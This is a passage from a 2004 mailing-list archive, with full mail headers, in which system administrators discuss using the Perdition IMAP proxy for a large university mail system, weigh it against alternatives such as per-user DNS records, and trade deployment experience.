ListProcessor(tm) by CREN Hi All, Sorry if this is the wrong list, I tried posting this in the IMAP list but go no replis. Hi All, So we made a BIG mistake last year implementing a new mail infrastructure using NFS as a mail store for our mail. This year we would like to replace this solution with a Perdition implementation using NIS. Anybody have comments on perdition? Here is some info about our situation; 60000 users 1 x P4 2Ghz for the perdition box 6 x Dual Xeon 2.4Ghz 1GB RAM (for ?nodes?) cheers Yanik -- Yanik Charbonneau /~\ The ASCII University of Ottawa \ / Ribbon Campaign Ottawa, Ontario X Against HTML Canada / \ Email! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 8 10:36:24 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jul 2004 10:36:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68HaNU0010475 for ; Thu, 8 Jul 2004 10:36:23 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68HaLRE005300 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jul 2004 10:36:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i68Ha6OI005226; Thu, 8 Jul 2004 10:36:06 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68HZ5lu041608 for ; Thu, 8 Jul 2004 10:35:05 -0700 Received: from mx0.d.umn.edu (mx0.d.umn.edu [131.212.109.42]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68HZ1Jb020701 for ; Thu, 8 Jul 2004 10:35:02 -0700 Received: from mx2.d.umn.edu (mx2.d.umn.edu [131.212.109.37]) by mx0.d.umn.edu (8.12.9/8.12.9) with SMTP id i68HYvbk004797; Thu, 8 Jul 2004 12:35:01 -0500 (CDT) Received: from mx3.d.umn.edu ([131.212.109.40]) by mx2.d.umn.edu (SAVSMTP 3.1.3.37) with SMTP id M2004070812350116072 ; Thu, 08 Jul 2004 12:35:01 -0500 Received: from borg.d.umn.edu (borg.d.umn.edu [131.212.60.98]) by mx3.d.umn.edu (8.12.9/8.12.9) with ESMTP id i68HYoEZ028968; Thu, 8 Jul 2004 12:34:50 -0500 (CDT) Message-Id: Date: Thu, 8 Jul 2004 12:34:50 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: scott hollatz To: Yanik Charbonneau Cc: c-client@u.washington.edu Subject: Re: Perdition IMAP Proxy In-Reply-To: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> References: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __C230066_P5 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [stuff deleted] > So we made a BIG mistake last year implementing a new mail > infrastructure using NFS as a mail store for our mail. > > This year we would like to replace this solution with a Perdition > implementation using NIS. Anybody have comments on perdition? > > Here is some info about our situation; > > 60000 users > 1 x P4 2Ghz for the perdition box > 6 x Dual Xeon 2.4Ghz 1GB RAM (for ?nodes?) We completely redid our email architecture seven months ago after years of (poorly) relying on NFS, and perdition is a critical component. Overall, it very works well. I have not tested STARTTLS or SSL through it yet (planned) but works great with the UW IMAP and POP servers. You might want to forget NIS. We had some difficulty with OpenLDAP for the database in production (mainly due to a flakey build) so yanked it in favor of a DBM lookup. Going back to LDAP is planned, though. We have about 27K users. Perdition as a standalone server doesn't do address checks like the tcp_wrappers library, and if your IMAP or POP is started via (x)inetd and does the checks, it won't help. The best solution is to modify perdition to use libwrap _or_ start via (x)inetd. We run perdition on two dual 1.4GHz Pentiums running FreeBSD 4.9-STABLE. All of our IMAP and POP traffic goes through them, whether from desktops or webmail systems (which also runs an IMAP proxy, so the proxy to the proxy works great, too). -- scott hollatz net shollatz@d.umn.edu information technology systems and services tel +1 218 726 8851 university of minnesota duluth mn usa fax +1 218 726 7674 -- "gabba gabba hey" - the ramones From pinedev@shivax2.cac.washington.edu Thu Jul 8 10:37:44 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jul 2004 10:37:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68HbhPI010573 for ; Thu, 8 Jul 2004 10:37:43 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68HbfYL016286 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jul 2004 10:37:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i68HbUJp007676; Thu, 8 Jul 2004 10:37:30 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68Hb9YD052358 for ; Thu, 8 Jul 2004 10:37:09 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68Hb8Wf032443 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Jul 2004 10:37:08 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68Hb75S020917; Thu, 8 Jul 2004 10:37:07 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68Hb7Q3024055; Thu, 8 Jul 2004 10:37:07 -0700 Message-Id: Date: Thu, 8 Jul 2004 10:37:07 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Yanik Charbonneau Cc: c-client@u.washington.edu Subject: Re: Perdition IMAP Proxy In-Reply-To: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> References: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't know enough about Perdition to comment intelligently on that product. However, I'll comment about proxies in general. Proxies are complex and extremely sensitive. They are difficult to get right even by a highly skilled and experience programmer. Unfortunately, proxies also appear to be simple to implement even by a novice programmer; and that fact tends to exacerbate the other problems. When you talk with experienced programmers, you can always tell who have worked on proxy software; they're the ones who make an involuntary shudder every time the word "proxy" is uttered. There are certainly uses and needs that are best filled by proxies, but this is not a choice to be made lightly. What are you attempting to accomplish by the use of a proxy? It's obvious that you want to get rid of NFS as a mail store, and that is certainly a wise move. But I am unclear about what sort of architecture, using an IMAP proxy, you purpose to deploy as a replacement. In my opinion, the primary use for an IMAP proxy is as part of a firewall. That is, the proxy would handle authentication and rejection of bad syntax, so that the back end only ever sees authenticated sessions and good syntax, providing a modest defense against certain denial-of-service attacks. I'm not convinced that the benefit is worth the expense. A determined attacker can overwhelm this defense, and the resources available to attackers are greater than what the defenders possess. If an IMAP proxy accomplishes something else, I would be very interested in hearing what that is. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jul 8 11:00:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jul 2004 11:00:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68I0MMq011957 for ; Thu, 8 Jul 2004 11:00:22 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68I0JdB017498 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jul 2004 11:00:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i68I08uj005270; Thu, 8 Jul 2004 11:00:08 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68Hx8mX071950 for ; Thu, 8 Jul 2004 10:59:08 -0700 Received: from ensc.cpsc.ucalgary.ca (ensc.cpsc.ucalgary.ca [136.159.2.4]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68Hx5xx021827 for ; Thu, 8 Jul 2004 10:59:05 -0700 Received: from imgw1.cpsc.ucalgary.ca (imgw1.cpsc.ucalgary.ca [136.159.5.9]) by ensc.cpsc.ucalgary.ca (8.12.11/8.12.10) with ESMTP id i68HuCh4009589 for ; Thu, 8 Jul 2004 11:56:12 -0600 (MDT) Received: from ms257a.cpsc.ucalgary.ca (ms257a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i68Hu5pi001928 for ; Thu, 8 Jul 2004 11:56:05 -0600 Received: (from arlt@localhost) by ms257a.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id i68Hu5td028802 for c-client@u.washington.edu; Thu, 8 Jul 2004 11:56:05 -0600 (MDT) Message-Id: <20040708175605.GC14000@ms257a.cpsc.ucalgary.ca> Date: Thu, 8 Jul 2004 11:56:05 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: c-client@u.washington.edu Subject: Re: Perdition IMAP Proxy In-Reply-To: References: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=3.2 required=6.8 X-Spam-Level: *** X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, Jul 08, 2004 at 10:37:07AM -0700, Mark Crispin wrote: > I don't know enough about Perdition to comment intelligently on that > product. However, I'll comment about proxies in general. > > Proxies are complex and extremely sensitive. They are difficult to get [snip] > > If an IMAP proxy accomplishes something else, I would be very interested > in hearing what that is. Perdition is meant to allow you to have "one" imap server, as far as your users are concerned, and as many real IMAP servers as needed. Perdition chooses the correct server for each user, and proxies the connection to it for the user. This can also be handled using LOGIN-REFERRALS but sadly not all mail clients support this. The link for you, or for those looking in the archive wondering where they can find this thing :) http://www.vergenet.net/linux/perdition/ ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) Las hojas de coca no son droga Computer Science From pinedev@shivax2.cac.washington.edu Thu Jul 8 11:03:40 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jul 2004 11:03:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68I3ZHg012126 for ; Thu, 8 Jul 2004 11:03:35 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68I3XFu006953 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jul 2004 11:03:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i68I3JSd011992; Thu, 8 Jul 2004 11:03:19 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68I2ecM013592 for ; Thu, 8 Jul 2004 11:02:41 -0700 Received: from ns.isdd.sk (ns.isdd.sk [213.151.209.11]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68I2cM5003401 for ; Thu, 8 Jul 2004 11:02:39 -0700 Received: (qmail 1228 invoked by uid 10037); 8 Jul 2004 18:02:35 -0000 Received: from durikovic@isdd.sk by ns by uid 201 with qmail-scanner-1.20 (clamuko: 0.60. spamassassin: 2.60. Clear:RC:1(10.10.1.161):. Processed in 0.046719 secs); 08 Jul 2004 18:02:35 -0000 Received: from durikovic.isdd.sk (HELO durikovic) ([10.10.1.161]) (envelope-sender ) by ns.isdd.sk (qmail-ldap-1.03) with SMTP for ; 8 Jul 2004 18:02:35 -0000 Message-Id: <003101c46515$bfbcb330$a1010a0a@durikovic> Date: Thu, 8 Jul 2004 20:02:35 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Dominik Durikovic,RNDr." To: Subject: unsubscribe MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0032_01C46526.83458330" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=XXXI, Probability=31%, Report='HTML_90_100 1.582, DCC_BULK_MEDIUM 1, PRIORITY_NO_NAME 0.716, BIG_FONT 0.146, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __NEXTPART_ALL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __NEXTPART_NORMAL 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_META 0, __MIME_HTML 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_HEAD 0, __HAS_MSGID 0, HTML_TAG_UNKNOWN 0.000, __OUTLOOK_MSGID_1 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2_100 0, __SANE_MSGID 0, __TO_MALFORMED_2 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0032_01C46526.83458330 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit unsubscribe ------=_NextPart_000_0032_01C46526.83458330 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

    unsubscribe

     

    ------=_NextPart_000_0032_01C46526.83458330-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 8 11:17:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jul 2004 11:17:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68IHKXq012984 for ; Thu, 8 Jul 2004 11:17:20 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68IHItS018198 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jul 2004 11:17:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i68IH53W015058; Thu, 8 Jul 2004 11:17:05 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68IGLCS013812 for ; Thu, 8 Jul 2004 11:16:21 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68IGKAA032451 for ; Thu, 8 Jul 2004 11:16:20 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68IGJXh002658; Thu, 8 Jul 2004 11:16:19 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68IGJCI026021; Thu, 8 Jul 2004 11:16:19 -0700 Message-Id: Date: Thu, 8 Jul 2004 11:16:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Brad Arlt Cc: c-client@u.washington.edu Subject: Re: Perdition IMAP Proxy In-Reply-To: <20040708175605.GC14000@ms257a.cpsc.ucalgary.ca> References: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Jul 2004, Brad Arlt wrote: > Perdition is meant to allow you to have "one" imap server, as far as > your users are concerned, and as many real IMAP servers as needed. > Perdition chooses the correct server for each user, and proxies the > connection to it for the user. This can also be handled using > LOGIN-REFERRALS but sadly not all mail clients support this. That seems to be a lot of ongoing (and permanent) work and resources just to avoid a simple one-time user configuration. You can simply have a special DNS zone in which each user is registered and points to the correct IMAP server, and dispense with proxies. mrc.deskmail.washington.edu always points to mrc's IMAP server, even though the machine changes over time. The experience at UW has shown that this is not particularly difficult to explain even to novice users. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jul 8 11:18:07 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jul 2004 11:18:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68II7ep013060 for ; Thu, 8 Jul 2004 11:18:07 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68II4e0007515 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jul 2004 11:18:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i68IHtV0015060; Thu, 8 Jul 2004 11:17:55 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68IGbTP013822 for ; Thu, 8 Jul 2004 11:16:37 -0700 Received: from waif.mit.edu (WAIF.MIT.EDU [18.62.0.233]) by mxe2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68IGYSl025413 for ; Thu, 8 Jul 2004 11:16:34 -0700 Received: from peaberry.mit.edu ([18.62.4.197] helo=mtl.mit.edu) by waif.mit.edu with asmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BidQl-0005Ak-PQ; Thu, 08 Jul 2004 14:15:35 -0400 Message-Id: <40ED8F47.8000806@mtl.mit.edu> Date: Thu, 08 Jul 2004 14:15:35 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas Lohman To: Yanik Charbonneau Cc: c-client@u.washington.edu Subject: Re: Perdition IMAP Proxy In-Reply-To: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> References: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-MTL-MailServer: Found to be clean X-MTL-MailServer-From: thomasl@mtl.mit.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > This year we would like to replace this solution with a Perdition > implementation using NIS. Anybody have comments on perdition? Yanik, I'm currently ready to roll out a new setup that incorporates perdition. I've been testing it using only secure POP/IMAP connections and it has been working fine. I have a much smaller user community so my reasons for using it is a temporary migration - I'm splitting mail services across multiple machines and am changing the name of the POP/IMAP server and thus don't want to force everyone to change their settings overnight. Eventually I'll switch it off. We currently don't have a big enough load to split our users across mutliple underlying pobox machines. So, I can't comment on it's use as a permanent gateway/load balance setup which I assume is what you want to do. From what I read in my research looking at POP/IMAP proxies, it seemed to get good feedback from real users. cheers, --tom From pinedev@shivax2.cac.washington.edu Thu Jul 8 13:20:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jul 2004 13:20:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68KKDtB019543 for ; Thu, 8 Jul 2004 13:20:13 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68KKAFp023115 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jul 2004 13:20:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i68KJqA0015182; Thu, 8 Jul 2004 13:19:53 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68KIwh4055408 for ; Thu, 8 Jul 2004 13:18:58 -0700 Received: from ensc.cpsc.ucalgary.ca (ensc.cpsc.ucalgary.ca [136.159.2.4]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68KItgq032699 for ; Thu, 8 Jul 2004 13:18:55 -0700 Received: from imgw1.cpsc.ucalgary.ca (imgw1.cpsc.ucalgary.ca [136.159.5.9]) by ensc.cpsc.ucalgary.ca (8.12.11/8.12.10) with ESMTP id i68KGw0j017893 for ; Thu, 8 Jul 2004 14:16:58 -0600 (MDT) Received: from ms257a.cpsc.ucalgary.ca (ms257a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i68KGrpi008522 for ; Thu, 8 Jul 2004 14:16:53 -0600 Received: (from arlt@localhost) by ms257a.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id i68KGrCr000902 for c-client@u.washington.edu; Thu, 8 Jul 2004 14:16:53 -0600 (MDT) Message-Id: <20040708201653.GE14000@ms257a.cpsc.ucalgary.ca> Date: Thu, 8 Jul 2004 14:16:53 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: c-client@u.washington.edu Subject: Re: Perdition IMAP Proxy In-Reply-To: References: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> <20040708175605.GC14000@ms257a.cpsc.ucalgary.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=3.2 required=6.8 X-Spam-Level: *** X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, Jul 08, 2004 at 11:16:19AM -0700, Mark Crispin wrote: > On Thu, 8 Jul 2004, Brad Arlt wrote: > >Perdition is meant to allow you to have "one" imap server, as far as > >your users are concerned, and as many real IMAP servers as needed. > >Perdition chooses the correct server for each user, and proxies the > >connection to it for the user. This can also be handled using > >LOGIN-REFERRALS but sadly not all mail clients support this. > > That seems to be a lot of ongoing (and permanent) work and resources just > to avoid a simple one-time user configuration. > > You can simply have a special DNS zone in which each user is registered > and points to the correct IMAP server, and dispense with proxies. > > mrc.deskmail.washington.edu always points to mrc's IMAP server, even > though the machine changes over time. Holy crap, that is a beautiful solution! Shifting all the fiddly bits to a PHP/perl script.... And no prolonged struggle with proxy software not supporting all the features it should! One thing I will stress to the folks still hooked on proxy software to solve this problem: Things that do not need to use the proxy (webmail for example) should contact your IMAP servers directly. This allows your users access to their email without the added point of failure. Plus it takes some load off the proxy. ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) Las hojas de coca no son droga Computer Science From pinedev@shivax2.cac.washington.edu Fri Jul 9 06:47:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Jul 2004 06:47:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69DlnD6023842 for ; Fri, 9 Jul 2004 06:47:49 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by 